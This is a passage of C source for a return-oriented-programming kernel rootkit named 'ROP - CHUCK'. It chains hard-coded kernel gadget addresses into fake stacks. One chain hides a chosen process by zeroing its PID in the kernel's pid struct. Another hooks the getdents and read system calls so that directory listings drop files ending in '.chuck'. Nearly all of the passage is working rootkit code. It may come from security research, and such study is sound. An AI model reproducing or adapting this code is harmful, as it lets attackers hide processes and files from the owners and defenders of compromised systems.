    add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size);     // POP RAX; RET;
    add_to_fake_stack(0xffffffff81358f60, fake_stack, fake_stack_size);     // Address of kstrtou16

    // "Call" kstrtou16
    add_to_fake_stack(0xffffffff81000110, fake_stack, fake_stack_size);     // JMP RAX;
    // *PID_PARSE now containe the parsed PID
    
    // ----------------------------------------------------------------
    // << PARSE PID DONE
    // ================================================================



    // ================================================================
    // >> DEBUG
    // ----------------------------------------------------------------
    // Debug output if enabled
    // RDX: Value to compare
    // RBX: Value to compare with
    generate_get_state_value(fake_stack, fake_stack_size,
                             DEBUG, REG_RDX);
    
    // Load value to compare with into RBX (0x1)
    generate_pop(fake_stack, fake_stack_size, REG_RBX);
    add_to_fake_stack(0x1, fake_stack, fake_stack_size);
    
    // Jump over the remainder if debugging is off
    jmp_no_debug = (*fake_stack);
    generate_conditional_jump_not_equal(fake_stack, fake_stack_size, 0x0);
    jmp_no_debug_size = (*fake_stack_size);
    
    // Move the value of PID_PARSE into RSI
    generate_get_state_value(fake_stack, fake_stack_size, 
                             PID_PARSE, REG_RSI);
    
    // Use %% here to actually print the PID
    generate_printk(fake_stack, fake_stack_size,
                    "[ ROP - CHUCK ] [ DEBUG ] Hiding process with PID %%d\n");
    
    // Patch the jump from above
    generate_conditional_jump_not_equal(&jmp_no_debug, 
                                        &jmp_no_debug_size, 
                                        (*fake_stack_size) - jmp_no_debug_size);

    // ----------------------------------------------------------------
    // << DEBUG DONE
    // ================================================================     



    // ================================================================
    // >> PID HIDING
    // ----------------------------------------------------------------
    // To hide the process we will make use of the function
    //    struct pid * find_get_pid(size_t pid);
    // If the function returns a pid struct, we will set the number of 
    // the PID to zero, which will hide the process. At the same time
    // we will also store the original number and the struct PID 
    // pointer to unhide the struct later on.

    // Lets try to find the PID
    // For this we need to load the PID into RDI. We use a gadget 
    // Containing a call RAX for this purpose. Thus we first setup RAX.
    // The gadget will simply pop the address pushed by the call.
    add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size);     // POP RAX; RET;
    add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size);     // Address of POP RAX; RET;
    
    // Next load the &PID_PARSE into RBX
    add_to_fake_stack(0xffffffff812ca859, fake_stack, fake_stack_size);     // POP RBX, RET;
    add_patch_entry(fake_stack, fake_stack_size, PID_PARSE, 0);             // Create a patch entry
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                    // PID_PARSE,
                                                                            // must be overwritten by init
    
    // Load the VALUE of PID_PARSE into RDI
    add_to_fake_stack(0xffffffff8147d773, fake_stack, fake_stack_size);     // MOV RDI, [RBX]; CALL RAX;

    // Obtain the struct pid by invocing find_get_pid
    // Load Address of 'find_get_pid' into RAX
    add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size);     // POP RAX; RET;
    add_to_fake_stack(0xffffffff810793e0, fake_stack, fake_stack_size);     // Address of find_get_pid

    // "Call" find_get_pid
    add_to_fake_stack(0xffffffff81000110, fake_stack, fake_stack_size);     // JMP RAX;
    // RAX now contains the struct pid * or NULL

    // RAX is frequently used by gadgets and function calls. Currently
    // it contains the struct pid *. To avoid overwriting the pointer,
    // we save it to the TMP area within the state before we continue.
    add_to_fake_stack(0xffffffff81343c9e, fake_stack, fake_stack_size);     // POP RSI, RET;
    add_patch_entry(fake_stack, fake_stack_size, TMP, 0);                   // Create a patch entry
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                    // TMP,
                                                                            // must be overwritten by init
    // RSI now points to TMP!


    // Save the pointer to TMP
    add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size);     // MOV [RSI],RAX; 
                                                                            // XOR EAX,EAX;
                                                                            // RET;

    // Check for a valid Pointer (not NULL) and jump over the remainder 
    // in case the PID was not found (= pointer is NULL). 
    // We update this location at the end of the function!
    // RBX must contain the value to compare with
    // RDX must contain the value to compare
    
    // Load TMP into RDX
    generate_get_state_value(fake_stack, fake_stack_size,
                             TMP, REG_RDX);
    
    // Load value to compare with into RBX (0x0)
    generate_pop(fake_stack, fake_stack_size, REG_RBX);
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);
    
    jmp_no_valid_pid = (*fake_stack);
    generate_conditional_jump_equal(fake_stack, fake_stack_size, 0x0);
    jmp_no_valid_pid_size = (*fake_stack_size);

    // PID was found, store the struct pointer and the PID in the PID_ARRAY
    // For this purpose we load the address we want to move to into RSI.
    // To achieve this we first move the address to RDI and then to RSI.

    // Load address of PID_ARRAY into RDI
    add_to_fake_stack(0xffffffff8135469f, fake_stack, fake_stack_size);     // POP RDI, RET;
    add_patch_entry(fake_stack, fake_stack_size, PID_ARRAY, 0);             // Create a patch entry
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                    // PID_ARRAY,
                                                                            // must be overwritten by init

    // Next load current PID_INDEX into RAX
    add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size);     // POP RAX; RET;
    add_patch_entry(fake_stack, fake_stack_size, PID_INDEX, 0);             // Create a patch entry
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                    // PID_INDEX,
                                                                            // must be overwritten by init

    // We want the VALUE of PID_INDEX not its address
    add_to_fake_stack(0xffffffff81074b56, fake_stack, fake_stack_size);     // MOV RAX, [RAX]; RET;

    // Add index to address
    add_to_fake_stack(0xffffffff811c98de, fake_stack, fake_stack_size);     // ADD RDI, RAX; 
                                                                            // MOV RAX,RDI;
                                                                            // RET;
    // Move RDI to RSI
    // Gadget uses a CALL RCX, so set up RCX first.
    // Simply pop the value pushed by the call from the stack.
    add_to_fake_stack(0xffffffff81005190, fake_stack, fake_stack_size);     // POP RCX; RET
    add_to_fake_stack(0xffffffff81005190, fake_stack, fake_stack_size);     // Address POP RCX; RET

    // IMPORTANT: Since RAX and RDI contain the SAME value at this
    // point, RDI remains unchanged!
    add_to_fake_stack(0xffffffff811cc08e, fake_stack, fake_stack_size);     // MOV RSI, RDI;
                                                                            // MOV RDI, RAX;
                                                                            // RET;
    // RSI now points to the free entry in the array.
    // Now we can move the values there.
    // First the PID
    add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size);     // POP RAX; RET;
    add_patch_entry(fake_stack, fake_stack_size, PID_PARSE, 0);             // Create a patch entry
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                    // PID_PARSE,
                                                                            // must be overwritten by init

    // We want the VALUE within PID_PARSE
    add_to_fake_stack(0xffffffff81074b56, fake_stack, fake_stack_size);     // MOV RAX, [RAX]; RET;

    // Move
    add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size);     // MOV [RSI],RAX; 
                                                                            // XOR EAX,EAX;
                                                                            // RET;

    // Increment RSI by 8
    // Again this is done by incrementing RDI and moving to RSI.
    // Since we have not touched RDI it still has the same value as RSI!
    add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size);     // POP RAX; RET;
    add_to_fake_stack(0x8, fake_stack, fake_stack_size);                    // Increment 0x8

    // Add to address
    add_to_fake_stack(0xffffffff811c98de, fake_stack, fake_stack_size);     // ADD RDI, RAX; 
                                                                            // MOV RAX,RDI;
                                                                            // RET;
    
    // Move RDI to RSI
    // Gadget uses a CALL RCX, so set up RCX first.
    // Simply pop the value pushed by the call from the stack.
    add_to_fake_stack(0xffffffff81005190, fake_stack, fake_stack_size);     // POP RCX; RET
    add_to_fake_stack(0xffffffff81005190, fake_stack, fake_stack_size);     // Address POP RCX; RET
    
    add_to_fake_stack(0xffffffff811cc08e, fake_stack, fake_stack_size);     // MOV RSI, RDI;
                                                                            // MOV RDI, RAX;
                                                                            // RET;
    // RSI now points to the free entry in the array.
    // Next we move the struct PID pointer, which is currently stored
    // in TMP
    add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size);     // POP RAX; RET;
    add_patch_entry(fake_stack, fake_stack_size, TMP, 0);                   // Create a patch entry
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                    // TMP,
                                                                            // must be overwritten by init

    // We want the VALUE within TMP
    add_to_fake_stack(0xffffffff81074b56, fake_stack, fake_stack_size);     // MOV RAX, [RAX]; RET;

    // Move
    add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size);     // MOV [RSI],RAX; 
                                                                            // XOR EAX,EAX;
                                                                            // RET;



    // Now we must increase the PID_INDEX by 16, since we added two
    // values to the array.
    // As we do not have an offset in this case we can load the address
    // directly into RSI.
    add_to_fake_stack(0xffffffff81343c9e, fake_stack, fake_stack_size);     // POP RSI; RET;
    add_patch_entry(fake_stack, fake_stack_size, PID_INDEX, 0);             // Create a patch entry
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                    // PID_INDEX,
                                                                            // must be overwritten by init
    
    // Load PID_INDEX's value into RAX
    add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size);     // POP RAX; RET;
    add_patch_entry(fake_stack, fake_stack_size, PID_INDEX, 0);             // Create a patch entry
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                    // PID_INDEX,
                                                                            // must be overwritten by init

    // We want the VALUE within PID_INDEX
    add_to_fake_stack(0xffffffff81074b56, fake_stack, fake_stack_size);     // MOV RAX, [RAX]; RET;

    // Load offset (16) into RDI
    add_to_fake_stack(0xffffffff8135469f, fake_stack, fake_stack_size);     // POP RDI; RET
    add_to_fake_stack(0x10, fake_stack, fake_stack_size);                   // OFFSET

    // Add offset to RAX
    add_to_fake_stack(0xffffffff8104c41d, fake_stack, fake_stack_size);     // ADD RAX, RDI; RET    

    // Move
    add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size);     // MOV [RSI],RAX; 
                                                                            // XOR EAX,EAX;
                                                                            // RET;
    // At this point: PID_INDEX += 16



    // Finally do the actual hiding.
    // Load struct pid pointer into RAX. The pointer is still in TMP.
    add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size);     // POP RAX; RET;
    add_patch_entry(fake_stack, fake_stack_size, TMP, 0);                   // Create a patch entry
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                    // TMP,
                                                                            // must be overwritten by init

    // We want the VALUE within TMP
    add_to_fake_stack(0xffffffff81074b56, fake_stack, fake_stack_size);     // MOV RAX, [RAX]; RET;
    // The struct pid pointer is now in RAX

    // Set pid_struct->number[0].nr to 0 (this is the PID)
    // For our kernel this is pointer + 0x30
    // Load offset (0x30) into RDI
    add_to_fake_stack(0xffffffff8135469f, fake_stack, fake_stack_size);     // POP RDI; RET
    add_to_fake_stack(0x30, fake_stack, fake_stack_size);                   // OFFSET

    // Add offset to pointer
    add_to_fake_stack(0xffffffff8104c41d, fake_stack, fake_stack_size);     // ADD RAX, RDI; RET

    // Move zero to the location
    add_to_fake_stack(0xffffffff812ce029, fake_stack, fake_stack_size);     // POP RDX; RET
    add_to_fake_stack(0x0,                fake_stack, fake_stack_size);     // New PID == 0x0
    add_to_fake_stack(0xffffffff8115c832, fake_stack, fake_stack_size);     // MOV [RAX],RDX; RET      
    // Process should now be hidden!

    // ----------------------------------------------------------------
    // << PID HIDING DONE
    // ================================================================



    // ================================================================
    // >> EPILOG
    // ----------------------------------------------------------------
    // Finally we have to patch the conditional jumps that jumps over
    // the entire sequence, if  the command entered is not chuck!h.
    // IMPORTANT: Do not update the fake_stack pointers, as we overwrite
    // an existing area
    
    // Jump over the remainder in case we hid the PID
    // must be patched later on!
    jmp_pid_hid = (*fake_stack);
    generate_stack_increment(fake_stack, fake_stack_size, 0x0);
    jmp_pid_hid_size = (*fake_stack_size);
    
    // First if we could not find the PID
    generate_conditional_jump_equal(&jmp_no_valid_pid,
                                    &jmp_no_valid_pid_size,
                                    (*fake_stack_size) - jmp_no_valid_pid_size);
    
    // Debug output if enabled
    // RDX: Value to compare
    // RBX: Value to compare with
    generate_get_state_value(fake_stack, fake_stack_size,
                             DEBUG, REG_RDX);
    
    // Load value to compare with into RBX (0x1)
    generate_pop(fake_stack, fake_stack_size, REG_RBX);
    add_to_fake_stack(0x1, fake_stack, fake_stack_size);
    
    // Jump over the remainder if debugging is off
    jmp_no_debug = (*fake_stack);
    generate_conditional_jump_not_equal(fake_stack, fake_stack_size, 0x0);
    jmp_no_debug_size = (*fake_stack_size);
    
    // Move the value of PID_PARSE into RSI
    generate_get_state_value(fake_stack, fake_stack_size, 
                             PID_PARSE, REG_RSI);
    
    // Use %% here to actually print the PID
    generate_printk(fake_stack, fake_stack_size,
                    "[ ROP - CHUCK ] [ DEBUG ] Could not find process with PID %%d!\n");
    
    // Patch the jump from above
    generate_conditional_jump_not_equal(&jmp_no_debug, 
                                        &jmp_no_debug_size, 
                                        (*fake_stack_size) - jmp_no_debug_size);
    
    
    // Now the jump that is executed if this is not a hide command
    generate_conditional_jump_not_equal(&jmp_not_command,
                                        &jmp_not_command_size,
                                        (*fake_stack_size) - jmp_not_command_size);
    
    // Finally the stack increment
    generate_stack_increment(&jmp_pid_hid,
                             &jmp_pid_hid_size,
                             (*fake_stack_size) - jmp_pid_hid_size);
}

/**
 * This function will create and setup our payload fake stack. 
 *
 * This gadget uses ALL general purpose registers!
 * 
 * IMPORTANT: This function is NOT stack safe!
 */
static void create_payload_fake_stack(void)
{
    // Vars
    
    // Check for sys_read
    void *jmp_to_read = 0;
    u32 jmp_to_read_size = 0;
    
    // Jump done getdents loop
    void *jmp_getdents_done = 0;
    u32 jmp_getdents_done_size = 0;
    u32 loop_begin = 0;
    
    // Jump within getdents
    void *jmp_no_point = 0;
    u32 jmp_no_point_size = 0;
    
    void *jmp_no_hide_ext = 0;
    u32 jmp_no_hide_ext_size = 0;
    
    void *jmp_over_counter_inc = 0;
    u32 jmp_over_counter_inc_size = 0;
    
    // Check for STDIN
    void *jmp_to_read_handler = 0;
    u32 jmp_to_read_handler_size = 0;
    
    // Check for single byte read
    void *jmp_to_epilog = 0;
    u32 jmp_to_epilog_size = 0;
    
    printf(" [+] Creating payload fake stack...\n");
    payload_stack = malloc(PAYLOAD_STACK_SIZE);

    if (!payload_stack)
    {
            error(-1, 0, " \t[!] Failed to reserve memory for the payload fake stack!\n");
    }

    printf(" \t[*] Payload fake stack @ %p\n", payload_stack);

    // Payload stack must be adapted according to the scenario it 
    // is used in. In our case we want to intercept the read system
    // call.
    
    // ================================================================
    // >> DETERMINE SYSCALL
    // ----------------------------------------------------------------
    // Is this a getdents or a read system call?
    // We get this information from the system call handler.
    // For this to work we first need the location of the original
    // kernel stack.
    
    // ----------------------------------------------------------------
    // Get the location of the original kernel stack
    // ----------------------------------------------------------------
    // Lets first calculate the address of the kernel stack.
    // For this we move the address of the per_cpu kernel stack into RAX.
    // This address is contained in gs:0xc730. It is a fixed address for
    // our target machine.
    add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size);  // POP RAX; RET;
    add_to_fake_stack(0xffff88003d80c730, &payload_stack, &payload_stack_size);  // gs:0xc730

    // We want the VALUE at this address
    add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size);  // MOV RAX, [RAX]; RET
    
    // RAX is stored at rsp - 0x30
    add_to_fake_stack(0xffffffff81343c9e, &payload_stack, &payload_stack_size);  // POP RSI; RET;
    add_to_fake_stack(0x30, &payload_stack, &payload_stack_size);                // Offset to RAX
    
    // We now have to SUBSTRACT (the stack grows down!) this value from the 
    // kernel stack in RAX to get the value the SP had before our sysenter
    // hook was invoked.
    add_to_fake_stack(0xffffffff8158f734, &payload_stack, &payload_stack_size);  // SUB RAX, RSI; RET;
    
    // Finally we want the value at the address.
    add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size);  // MOV RAX, [RAX]; RET;
    // The system call number is now in RAX!
    
    // Save the system call number
    generate_set_state_value(&payload_stack, &payload_stack_size,
                             RAX, REG_RAX);
    
    // ----------------------------------------------------------------
    // Dispatch system call
    // ----------------------------------------------------------------
    // Next we want to compare the system call number will 0x0 (sys_read).
    // If it matches, we want to jump to sys_read. Otherwise we directly
    // flow into sys_getdents. As the getdents handler follows this 
    // part of the chain, a jump is not needed in this case.
    
    // RBX must contain the value to compare with
    // RDX must contain the value to compare
    // RDX -> system call number
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             RAX, REG_RDX);
    
    // RBX -> 0 (sys_read)
    generate_pop(&payload_stack, &payload_stack_size, REG_RBX);
    add_to_fake_stack(0x0, &payload_stack, &payload_stack_size);
    
    // Jump placeholder. Will be fixed at the end.
    jmp_to_read = payload_stack;
    generate_conditional_jump_equal(&payload_stack, &payload_stack_size, 0x0);
    jmp_to_read_size = payload_stack_size;
    
    // ----------------------------------------------------------------
    // << DETERMINE SYSCALL DONE
    // ================================================================
    
    
    // ================================================================
    // ================================================================
    // GETDENTS SYSTEM CALL!
    
    // ================================================================
    // >> EXECUTE GETDENTS
    // ----------------------------------------------------------------
    // Our payload requires the result of the getdents system call. Thus
    // we start by executing it. 
    // First load all the arguments (RDI, RSI, RDX)
    
    // ----------------------------------------------------------------
    // LOAD RSI
    // ----------------------------------------------------------------
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             RSI, REG_RSI);
    
    // ----------------------------------------------------------------
    // LOAD RDI
    // ----------------------------------------------------------------
    // We cannot make use of the normal gadget as it uses RDI.
    // Thus we use the unsafe gadget.
    generate_get_state_value_unsafe(&payload_stack, &payload_stack_size, 
                                    RDI, REG_RDI);
    
    // ----------------------------------------------------------------
    // LOAD RDX
    // ----------------------------------------------------------------
    // RDX must be last, since the get_state_value_unsafe gadget 
    // sequence uses it.
    generate_get_state_value_unsafe(&payload_stack, &payload_stack_size,
                                    RDX, REG_RDX);

    // ----------------------------------------------------------------
    // Invoke SYS_GETDENTS
    // ----------------------------------------------------------------
    // Load Address of 'sys_getdents' into RAX
    add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size);  // POP RAX; RET;
    add_to_fake_stack(0xffffffff811a63a0, &payload_stack, &payload_stack_size);  // Address of sys_getdents
    
    // Enable interrupts
    add_to_fake_stack(0xffffffff81066b92, &payload_stack, &payload_stack_size);  // STI; RET;

    // "Call" sys_getdents
    add_to_fake_stack(0xffffffff81000110, &payload_stack, &payload_stack_size);  // JMP RAX;
    // RAX now contains the return value of sys_getdents
    
    // Read my reenable interrupts. So we make sure they are off when 
    // we return.
    add_to_fake_stack(0xffffffff811e3492, &payload_stack, &payload_stack_size);  // CLI; RET;

    // Save the return value such that we later can hand control back to the
    // system call handler
    add_to_fake_stack(0xffffffff81343c9e, &payload_stack, &payload_stack_size);  // POP RSI, RET;
    add_patch_entry(&payload_stack, &payload_stack_size, RAX, 0);                // Create a patch entry
    add_to_fake_stack(0x0, &payload_stack, &payload_stack_size);                 // RAX
                                                                                 // must be overwritten by init
    // RSI now points to RAX within the state!


    // Save the return value within the state
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX; 
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // ----------------------------------------------------------------
    // << EXECUTE GETDENTS DONE
    // ================================================================

    // ================================================================
    // >> FUNCTIONALITY GETDENTS
    // ----------------------------------------------------------------
    // This area contains the actual funtionality.
    // Alrighty, we want to hide all entries that end with ".chuck".
    // To do this we loop over all entries in the struct returned by 
    // Getdents.
    
    // ----------------------------------------------------------------
    // SEARCH LOOP
    // ----------------------------------------------------------------
    generate_pop(&payload_stack, &payload_stack_size, REG_RSI);
    add_to_fake_stack(0x0, &payload_stack, &payload_stack_size);                        // Counter is zero at the
                                                                                        // beginning.
    
    // LOOP_BEGIN:
    loop_begin = (*&payload_stack_size);
    
    // Did we reach the end of the struct? To see this, we have to 
    // compare the return value with the current counter value.
    // First we load the return value of getdents into RBX.
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             RAX, REG_RBX);
    
    // Next we load the counter (RSI) into RDX
    generate_move_to_rax(&payload_stack, &payload_stack_size, REG_RSI);
    generate_move_from_rax(&payload_stack, &payload_stack_size, REG_RDX);
    
    // Compare. If this is the end of the struct go to EPILOG
    jmp_getdents_done = payload_stack;
    generate_conditional_jump_equal(&payload_stack, &payload_stack_size, 0x0);
    jmp_getdents_done_size = payload_stack_size;
    
    // Okay. We now want to check wether the current entry ends
    // with ".chuck". For this to work we first need to find
    // the last occurrence of a "." in the current entry.
    
    // We use a call to strrchr for this purpose.
    // Prepare an external function call to strrchr on the kernel stack,
    
    // First temporarily save the counter
    generate_set_state_value(&payload_stack, &payload_stack_size,
                             COUNTER, REG_RSI);
    
    // Obtain the record_size
    // Load base address into RSI
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             RSI, REG_RSI);
    
    // Load the counter value into RAX
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             COUNTER, REG_RAX);
    
    // Recored length begins 16 bytes after the counter
    generate_add_value(&payload_stack, &payload_stack_size,
                       16, REG_RAX);
    
    // Add buffer to offset
    add_to_fake_stack(0xffffffff81047bfa, &payload_stack, &payload_stack_size);         // ADD RAX, RSI; RET;
    // RAX now points to record length.
    
    // Get the value at the address!
    add_to_fake_stack(0xffffffff81074b57, &payload_stack, &payload_stack_size);         // MOV EAX, [RAX]; RET

    // Load mask into RDX
    generate_pop(&payload_stack, &payload_stack_size, REG_RDX);
    add_to_fake_stack(0xffff, &payload_stack, &payload_stack_size);                     // 0xffff
    
    // Remove all but the first two bytes
    add_to_fake_stack(0xffffffff815af5a9, &payload_stack, &payload_stack_size);         // AND EAX,EDX; RET;

    // Safe the record size in TMP
    generate_set_state_value(&payload_stack, &payload_stack_size,
                             TMP, REG_RAX);
    
    // Load the arguments into their respective locations.
    // strrchr expects two arguments
    // RDI: The string to search
    // RSI: The character to search for.
    // Load the buffer (original value of RSI) into RSI
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             RSI, REG_RSI);
    
    // Load the counter value into RAX
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             COUNTER, REG_RAX);
    
    // String begins 18 bytes after the counter
    generate_add_value(&payload_stack, &payload_stack_size,
                       18, REG_RAX);
    
    // Add buffer to offset
    add_to_fake_stack(0xffffffff81047bfa, &payload_stack, &payload_stack_size);         // ADD RAX, RSI; RET;
    // RAX now points to string.
    
    // Store this value.
    generate_set_state_value(&payload_stack, &payload_stack_size,
                             TMP_RDI, REG_RAX);
    // 1st argument ready.
    
    // Now 2nd argument. We search for "."
    generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
    add_to_fake_stack(0x2e, &payload_stack, &payload_stack_size);                       // "."

    // Store this value.
    generate_set_state_value(&payload_stack, &payload_stack_size,
                             TMP_RSI, REG_RAX);
    // 2nd argument ready.
    
    // Call "strrchr"
    generate_external_call(&payload_stack, &payload_stack_size,
                           0xffffffff8134efe0);                                        // Address of strrchr
    // RAX now contains the location or NULL.
    
    // Save the return value
    generate_set_state_value(&payload_stack, &payload_stack_size,
                             TMP_RAX, REG_RAX);
    
    // Jmp if value is NULL
    // RDX must conatin the return value.
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             TMP_RAX, REG_RDX);
    
    // RBX value to compare with
    generate_pop(&payload_stack, &payload_stack_size, REG_RBX);
    add_to_fake_stack(0x0, &payload_stack, &payload_stack_size);                       // NULL

    jmp_no_point = payload_stack;
    generate_conditional_jump_equal(&payload_stack, &payload_stack_size, 0x0);
    jmp_no_point_size = payload_stack_size;
    
    // THIS PART IS ONLY EXECUTED IF THE POINTER RETURNED BY STRRCHR
    // IS != NULL
    
    // Prepare call to strncmp.
    // 1st RDI, which must be set to the pointer returned by STRRCHR
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             TMP_RAX, REG_RAX);
    
    generate_set_state_value(&payload_stack, &payload_stack_size,
                             TMP_RDI, REG_RAX);
    // 1st argument done.
    
    // 2nd RSI, which must point to the string we want to compare to
    // we abuse TMP_RAX for this purpose.
    // Load extension into TMP_RAX
    generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
    add_to_fake_stack(0x00006b637568632e, &payload_stack, &payload_stack_size);        // ".chuck\x00\x00"
    
    generate_set_state_value(&payload_stack, &payload_stack_size,
                             TMP_RAX, REG_RAX);
    
    // Load pointer to TMP RAX into TMP RSI
    generate_pop(&payload_stack, &payload_stack_size, REG_RAX);                        // POP RAX; RET;
    add_patch_entry(&payload_stack, &payload_stack_size, TMP_RAX, 0x0);
    add_to_fake_stack(0x0, &payload_stack, &payload_stack_size);                       // Will be overwritten
    
    generate_set_state_value(&payload_stack, &payload_stack_size,
                             TMP_RSI, REG_RAX);
    // 2nd argument done.
    
    // 3rd RDX, which must contain the size to compare.
    generate_pop(&payload_stack, &payload_stack_size, REG_RAX);                        // POP RAX; RET;
    add_to_fake_stack(0x6, &payload_stack, &payload_stack_size);                       // 6 (.chuck)
    
    generate_set_state_value(&payload_stack, &payload_stack_size,
                             TMP_RDX, REG_RAX);
    // 3rd argument done
    
    // Call strncmp
    generate_external_call(&payload_stack, &payload_stack_size,
                           0xffffffff8134ef40);                                        // Address of 'strncmp'
    // RAX contains the result.
    
    // Jump if RAX is not zero!
    // => strings are different
    // RDX must conatin the return value.
    generate_move_from_rax(&payload_stack, &payload_stack_size, REG_RDX);
    
    // RBX value to compare with
    generate_pop(&payload_stack, &payload_stack_size, REG_RBX);
    add_to_fake_stack(0x0, &payload_stack, &payload_stack_size);                       // 0x0

    jmp_no_hide_ext = payload_stack;
    generate_conditional_jump_not_equal(&payload_stack, &payload_stack_size, 0x0);
    jmp_no_hide_ext_size = payload_stack_size;
    
    // THIS PART IS ONLY EXECUTED IF THE EXTENSION WAS FOUND!
    // Now we need to use memcpy and update the struct.
    // 1st RDI, which must contain the destination pointer
    // Load base address into RSI
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             RSI, REG_RSI);
    
    // Load the counter value into RAX
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             COUNTER, REG_RAX);
    
    // Add buffer to offset
    add_to_fake_stack(0xffffffff81047bfa, &payload_stack, &payload_stack_size);         // ADD RAX, RSI; RET;
    // RAX now points to string.
    
    // Store this value.
    generate_set_state_value(&payload_stack, &payload_stack_size,
                             TMP_RDI, REG_RAX);
    
    // 1st argument done.
    
    // 2nd RSI, which must point after the current entry.
    // We can calculate the source address
    // source = base + counter + record_size
    // Load base address into RSI
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             RSI, REG_RSI);
    
    // Load record_size into RDX
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             TMP, REG_RDX);
    
    // Load the counter value into RAX
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             COUNTER, REG_RAX);
    
    // Add base to counter
    add_to_fake_stack(0xffffffff81047bfa, &payload_stack, &payload_stack_size);         // ADD RAX, RSI; RET;

    // Add record_size to counter
    add_to_fake_stack(0xffffffff8101baf1, &payload_stack, &payload_stack_size);         // ADD RAX, RDX; RET

    // Safe
    generate_set_state_value(&payload_stack, &payload_stack_size,
                             TMP_RSI, REG_RAX);
    
    // 2nd argument done.
    
    // 3rd RDX, the length to copy.
    // This is the original return value - counter - record_size
    // In this process we will also update the Return value,
    // which must be decreased by record_size
    // Load record_size into RSI
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             TMP, REG_RSI);
    
    // Load return value in RAX
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             RAX, REG_RAX);
    
    add_to_fake_stack(0xffffffff8158f734, &payload_stack, &payload_stack_size);         // SUB RAX, RSI; RET;
    // RAX now contains the new return value.
    
    // Save.
    generate_set_state_value(&payload_stack, &payload_stack_size,
                             RAX, REG_RAX);
    
    // Now substract counter to use it as 3rd argument
    // Load counter into RSI
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             COUNTER, REG_RSI);
    
    // Load return value in RAX
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             RAX, REG_RAX);
    
    add_to_fake_stack(0xffffffff8158f734, &payload_stack, &payload_stack_size);         // SUB RAX, RSI; RET;
    
    // Save
    generate_set_state_value(&payload_stack, &payload_stack_size,
                             TMP_RDX, REG_RAX);
    
    // 3rd argument done.
   
    // Call memcopy
    generate_external_call(&payload_stack, &payload_stack_size,
                           0xffffffff81354190);                                         // Address of 'memcpy'
    
    // The next sequence will patch the jumps and increase the counter.
    // IMPORTANT: We only need to increase the counter if we did NOT use memcpy.
    //            Otherwise the counter will skip an entry!
    // As we do not know the size yet, we have to patch this increment.
    jmp_over_counter_inc = payload_stack;
    generate_stack_increment(&payload_stack, &payload_stack_size, 0x0);
    jmp_over_counter_inc_size = payload_stack_size;
    
    // JUMPS from strrchr or strncmp will land here!
    // Patch jumps that do no exit the loop (strrchr fail or strncmp fail)
    // strrchr
    generate_conditional_jump_equal(&jmp_no_point,
                                    &jmp_no_point_size,
                                    payload_stack_size - jmp_no_point_size);
    
    // strcmp
    generate_conditional_jump_not_equal(&jmp_no_hide_ext,
                                        &jmp_no_hide_ext_size,
                                        payload_stack_size - jmp_no_hide_ext_size);
    
    // Increase the counter by record size
    // Load record_size into RSI
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             TMP, REG_RSI);
    
    // Load counter into RAX
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             COUNTER, REG_RAX);
    
    // Add
    add_to_fake_stack(0xffffffff81047bfa, &payload_stack, &payload_stack_size);          // ADD RAX, RSI; RET;
    
    // Save counter
    generate_set_state_value(&payload_stack, &payload_stack_size,
                             COUNTER, REG_RAX);

    // This must be executed in every case exit for the exit jump!
    // Thus we have to patch the increment from before
    generate_stack_increment(&jmp_over_counter_inc,
                             &jmp_over_counter_inc_size,
                             payload_stack_size - jmp_over_counter_inc_size);
    
    // Move counter back to RSI before we jump to the beginning of the loop
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             COUNTER, REG_RSI);
    
    // Jump back up to LOOP_BEGIN
